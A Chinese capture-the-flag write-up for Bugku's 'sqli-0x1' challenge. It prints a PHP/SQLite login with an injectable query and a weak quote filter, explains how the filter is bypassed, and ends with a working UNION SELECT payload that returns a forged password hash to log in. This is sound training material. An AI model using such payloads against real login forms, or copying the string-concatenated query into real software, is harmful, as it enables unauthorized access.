题目概览

题目来源:sqli-0x1 - Bugku CTF

查看网页源码,得到提示:

访问/?pls_help得到题目源码:

<?php
error_reporting(0);
error_log(0);

require_once("flag.php");

function is_trying_to_hak_me($str)
{   
    $blacklist = ["' ", " '", '"', "`", " `", "` ", ">", "<"];
    if (strpos($str, "'") !== false) {
        if (!preg_match("/[0-9a-zA-Z]'[0-9a-zA-Z]/", $str)) {
            return true;
        }
    }
    foreach ($blacklist as $token) {
        if (strpos($str, $token) !== false) return true;
    }
    return false;
}

if (isset($_GET["pls_help"])) {
    highlight_file(__FILE__);
    exit;
}
   
if (isset($_POST["user"]) && isset($_POST["pass"]) && (!empty($_POST["user"])) && (!empty($_POST["pass"]))) {
    $user = $_POST["user"];
    $pass = $_POST["pass"];
    if (is_trying_to_hak_me($user)) {
        die("why u bully me");
    }

    $db = new SQLite3("/var/db.sqlite");
    $result = $db->query("SELECT * FROM users WHERE username='$user'");
    if ($result === false) die("pls dont break me");
    else $result = $result->fetchArray();

    if ($result) {
        $split = explode('$', $result["password"]);
        $password_hash = $split[0];
        $salt = $split[1];
        if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
        else $err = "Wrong password";
    }
    else $err = "No such user";
}

代码分析

根据得到的源码,显然在$user处存在SQL注入:

$result = $db->query("SELECT * FROM users WHERE username='$user'");

但是在执行SQL语句前,程序进行了一系列过滤,下面逐个进行分析。

在接收到参数user之后,调用了is_trying_to_hak_me()来对参数进行检查过滤,进入到is_trying_to_hak_me()内部进行分析;

看了好一会,发现这个过滤有点不知所云,最终只需要保证传入的user参数里含有单引号和数字或字母即可。

黑名单内过滤的是单引号连着空格,即"' ", " '",,单独一个单引号"'"并未被过滤。

通过这个过滤之后,再往下看:

if ($result === false)

这里需要保证查询的结果是存在的,即$db->query返回值必须为真。

获取到结果之后,接着就进行登录是否成功的判定:

if ($result) {
    $split = explode('$', $result["password"]);	// 将记录的password字段按照$进行分割
    $password_hash = $split[0];					// password的第一部分是hash值
    $salt = $split[1];							// password的第二部分是salt值
    
    // 如果传入的pass参数拼接上salt值,做一次sha256运算之后的结果与hash值相同,则登录成功
    if ($password_hash === hash("sha256", $pass.$salt)) $logged_in = true;
    else $err = "Wrong password";
}

根据代码的逻辑,应该想到,在不知道password的情况下,想要登录成功,就只能想办法控制密码查询的结果, 使得构造的密码覆盖掉原有的密码查询结果,从而获得登录状态。

解题方法

这里可以考虑通过联合查询注入,将构造出的密码覆盖至正常的查询语句中,进而通过程序的校验。具体实现如下:

生成密码哈希

根据代码中的生成逻辑,哈希值 = sha256(密码明文 + 盐值),所以使用PHP按照这个方法生成一个明文为a,盐值为b的哈希:

<?php

$pass = 'a';
$salt = 'b';
var_dump(hash('sha256', $pass.$salt));

得到哈希值:fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603

然后按照代码中的拼接方式,构造出password记录:

fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603$b

接着就可以通过联合查询注入,获取登录状态了:查询一个不存在的用户,然后通过union select注入。

Payload:

user=1'union/**/select/**/1,'fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603$b&pass=a